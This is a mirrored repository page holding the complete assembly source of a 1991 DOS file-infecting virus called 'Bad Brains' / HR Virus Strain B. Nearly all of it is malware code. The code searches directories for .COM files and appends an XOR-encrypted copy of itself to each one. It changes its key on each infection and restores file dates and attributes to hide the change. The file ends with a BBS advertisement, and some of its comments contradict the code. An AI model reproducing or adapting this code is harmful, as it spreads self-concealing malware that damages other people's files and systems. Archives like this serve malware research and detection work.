mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
277 lines
8.8 KiB
NASM
277 lines
8.8 KiB
NASM
; HR Virus Strain B-Compacted
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; Bad Brains
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; Created 8/5/91 by Hellraiser
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; Destructive Code - Beware!
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fileattr EQU 21
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filetime EQU 22
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filedate EQU 24
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filename EQU 30
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virus_size EQU 554
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code_start EQU 0100h
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code segment 'code'
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assume cs:code,ds:code,es:code
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org code_start
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main proc near
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jmp virus_start
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encrypt_val dw 0000h
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virus_start:
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call encrypt ;encrypt/decrypt file
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jmp virus ;go to start of code
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encrypt:
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push cx
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mov cx,offset virus_code+virus_size
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mov si,offset virus_code ;start encryption at data
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mov di,si
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cld
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xor_loop:
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lodsw
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xor ax,encrypt_val ;get encryption key
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stosw
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dec cx
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jcxz stoppa
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jmp xor_loop
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stoppa:
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pop cx
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ret
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infectfile:
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mov dx,code_start ;where virus starts in memory
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mov bx,handle ;load bx with handle
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mov cx,virus_size ;number of bytes to write
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call encrypt ;encrypt file
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mov ax,4000h ;write to file
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int 21h ;
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call encrypt ;fix up the mess
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ret
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virus_code:
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vname db 'SKISM',0
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wildcards db "*",0 ;search for directory argument
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filespec db "*.COM",0 ;search for EXE file argument
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rootdir db "\",0 ;argument for root directory
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dirdata db 43 dup (?) ;holds directory DTA
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filedata db 43 dup (?) ;holds files DTA
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diskdtaseg dw ? ;holds disk dta segment
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diskdtaofs dw ? ;holds disk dta offset
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tempofs dw ?
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tempseg dw ?
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drivecode db ? ;holds drive code
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currentdir db 64 dup (?) ;save current directory into this
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handle dw ? ;holds file handle
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orig_time dw ?
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orig_date dw ?
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orig_attr dw ?
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idbuffer dw 2 dup (?)
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virus:
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mov ax,3000h ;get dos version
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int 21h ;
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cmp al,02h ;is it at least 2.00?
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jb bus ;won't infect less than 3.00
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mov ah,2ch ;get time
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int 21h ;
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add dh,cl ;add the two registers
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mov encrypt_val,dx ;save m_seconds to encrypt val so
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;we have up to 65,535 mutations
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setdta:
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mov dx,offset dirdata ;offset of where to hold new dta
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mov ah,1ah ;set dta address
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int 21h ;
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newdir:
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mov ah,19h ;get drive code
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int 21h ;
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mov dl,al ;save drivecode
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inc dl ;add one to dl, because functions differ
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mov ah,47h ;get current directory
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mov si, offset currentdir ;buffer to save directory in
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int 21h ;
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mov dx,offset rootdir ;move dx to change to root directory
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mov ah,3bh ;change directory to root
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int 21h ;
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scandirs:
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mov cx,13h ;look for directorys
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mov dx, offset wildcards ;look for '*'
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mov ah,4eh ;find first file
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int 21h ;
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cmp ax,12h ;no first file?
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jne dirloop ;no dirs found? bail out
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bus:
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jmp abort
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copyright db 'Bad Brains'
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dirloop:
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mov ah,4fh ;find next file
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int 21h ;
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cmp ax,12h
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je quit ;no more dirs found, roll out
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chdir:
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mov dx,offset dirdata+filename;point dx to fcb - filename
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mov ah,3bh ;change directory
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int 21h ;
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mov ah,2fh ;get current dta address
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int 21h ;
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mov [diskdtaseg],es ;save old segment
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mov [diskdtaofs],bx ;save old offset
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mov dx,offset filedata ;offset of where to hold new dta
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mov ah,1ah ;set dta address
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int 21h ;
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scandir:
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mov cx,07h ;find any attribute
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mov dx,offset filespec ;point dx to "*.EXE",0
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mov ah,4eh ;find first file function
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int 21h ;
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cmp ax,12h ;was file found?
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jne transform
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nextexe:
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mov ah,4fh ;find next file
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int 21h ;
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cmp ax,12h ;none found
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jne transform ;found see what we can do
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mov dx,offset rootdir ;move dx to change to root directory
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mov ah,3bh ;change directory to root
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int 21h ;
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mov ah,1ah ;set dta address
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mov ds,[diskdtaseg] ;restore old segment
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mov dx,[diskdtaofs] ;restore old offset
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int 21h ;
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jmp dirloop
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quit:
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jmp rollout
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transform:
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mov ah,2fh ;temporally store dta
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int 21h ;
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mov [tempseg],es ;save old segment
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mov [tempofs],bx ;save old offset
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mov dx, offset filedata + filename
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mov bx,offset filedata ;save file...
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mov ax,[bx]+filedate ;date
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mov orig_date,ax ;
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mov ax,[bx]+filetime ;time
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mov orig_time,ax ; and
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mov ax,[bx]+fileattr ;
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mov ax,4300h
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int 21h
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mov orig_attr,cx
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mov ax,4301h ;change attributes
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xor cx,cx ;clear attributes
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int 21h ;
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mov ax,3d00h ;open file - read
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int 21h ;
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jc fixup ;error - find another file
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mov handle,ax ;save handle
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mov ah,3fh ;read from file
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mov bx,handle ;move handle to bx
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mov cx,02h ;read 2 bytes
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mov dx,offset idbuffer ;save to buffer
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int 21h ;
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mov ah,3eh ;close file for now
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mov bx,handle ;load bx with handle
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int 21h ;
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mov bx, idbuffer ;fill bx with id string
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cmp bx,03ebh ;infected?
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jne doit ;same - find another file
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fixup:
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mov ah,1ah ;set dta address
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mov ds,[tempseg] ;restore old segment
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mov dx,[tempofs] ;restore old offset
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int 21h ;
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jmp nextexe
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doit:
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mov dx, offset filedata + filename
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mov ax,3d02h ;open file read/write access
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int 21h ;
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mov handle,ax ;save handle
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call infectfile
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;mov ax,3eh ;close file
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;int 21h
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rollout:
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mov ax,5701h ;restore original
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mov bx,handle ;
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mov cx,orig_time ;time and
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mov dx,orig_date ;date
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int 21h ;
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mov ax,4301h ;restore original attributes
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mov cx,orig_attr
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mov dx,offset filedata + filename
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int 21h
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;mov bx,handle
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;mov ax,3eh ;close file
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;int 21h
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mov ah,3bh ;try to fix this
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mov dx,offset rootdir ;for speed
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int 21h ;
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mov ah,3bh ;change directory
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mov dx,offset currentdir ;back to original
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int 21h ;
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Abort:
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mov ax,4c00h ;end program
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int 21h ;
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main endp
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code ends
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end main
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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